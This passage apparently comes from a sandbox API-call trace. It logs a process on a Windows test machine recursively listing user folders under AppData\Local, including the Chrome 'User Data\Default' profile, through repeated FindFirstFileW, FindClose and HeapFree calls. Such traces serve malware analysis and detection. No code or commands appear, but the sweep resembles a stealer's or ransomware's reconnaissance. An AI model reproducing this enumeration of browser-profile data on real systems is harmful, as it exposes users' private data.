ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x397a860, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x397a860, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0266.621] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0266.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0266.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0266.623] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0266.681] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0266.682] GetProcessHeap () returned 0x550000 [0266.682] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26220a8 | out: hHeap=0x550000) returned 1 [0266.682] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0266.682] GetProcessHeap () returned 0x550000 [0266.682] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26120a0 | out: hHeap=0x550000) returned 1 [0266.682] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0266.683] GetProcessHeap () returned 0x550000 [0266.683] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2602098 | out: hHeap=0x550000) returned 1 [0266.683] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0266.683] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0266.742] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0266.742] GetProcessHeap () returned 0x550000 [0266.742] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26120a0 | out: hHeap=0x550000) returned 1 [0266.742] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0266.742] GetProcessHeap () returned 0x550000 [0266.742] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2602098 | out: hHeap=0x550000) returned 1 [0266.742] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0266.743] GetProcessHeap () returned 0x550000 [0266.743] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0266.744] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0266.746] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0266.746] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0266.823] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0266.823] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0266.824] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0266.895] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\*", lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6399c8 [0267.071] FindClose (in: hFindFile=0x6399c8 | out: hFindFile=0x6399c8) returned 1 [0267.071] GetProcessHeap () returned 0x550000 [0267.072] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0267.072] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0267.072] GetProcessHeap () returned 0x550000 [0267.072] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0267.072] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0267.072] GetProcessHeap () returned 0x550000 [0267.072] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0267.072] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0267.072] GetProcessHeap () returned 0x550000 [0267.072] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26220a8 | out: hHeap=0x550000) returned 1 [0267.073] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0267.073] GetProcessHeap () returned 0x550000 [0267.073] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26120a0 | out: hHeap=0x550000) returned 1 [0267.073] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0267.073] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0267.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0267.137] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0267.138] GetProcessHeap () returned 0x550000 [0267.138] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26220a8 | out: hHeap=0x550000) returned 1 [0267.138] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0267.141] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0267.142] GetProcessHeap () returned 0x550000 [0267.142] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26220a8 | out: hHeap=0x550000) returned 1 [0267.142] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0267.144] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0267.145] GetProcessHeap () returned 0x550000 [0267.145] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26220a8 | out: hHeap=0x550000) returned 1 [0267.145] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0267.146] GetProcessHeap () returned 0x550000 [0267.146] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26120a0 | out: hHeap=0x550000) returned 1 [0267.146] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0267.146] GetProcessHeap () returned 0x550000 [0267.146] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0267.148] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0267.148] GetProcessHeap () returned 0x550000 [0267.148] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2602098 | out: hHeap=0x550000) returned 1 [0267.149] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0267.149] GetProcessHeap () returned 0x550000 [0267.150] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0267.151] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0267.152] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0267.152] GetProcessHeap () returned 0x550000 [0267.152] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0267.152] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0267.153] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0267.154] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0267.158] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0267.160] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0267.160] GetProcessHeap () returned 0x550000 [0267.160] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26120a0 | out: hHeap=0x550000) returned 1 [0267.160] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0267.161] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0267.162] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0267.162] GetProcessHeap () returned 0x550000 [0267.162] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26220a8 | out: hHeap=0x550000) returned 1 [0267.162] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0267.162] GetProcessHeap () returned 0x550000 [0267.162] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26120a0 | out: hHeap=0x550000) returned 1 [0267.163] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0267.166] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0267.167] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0267.168] GetProcessHeap () returned 0x550000 [0267.168] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26220a8 | out: hHeap=0x550000) returned 1 [0267.168] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80916060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80916060, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0267.170] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0267.171] GetProcessHeap () returned 0x550000 [0267.171] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26220a8 | out: hHeap=0x550000) returned 1 [0267.171] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82bed750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0267.324] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0267.336] GetProcessHeap () returned 0x550000 [0267.336] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26220a8 | out: hHeap=0x550000) returned 1 [0267.336] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82556720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, 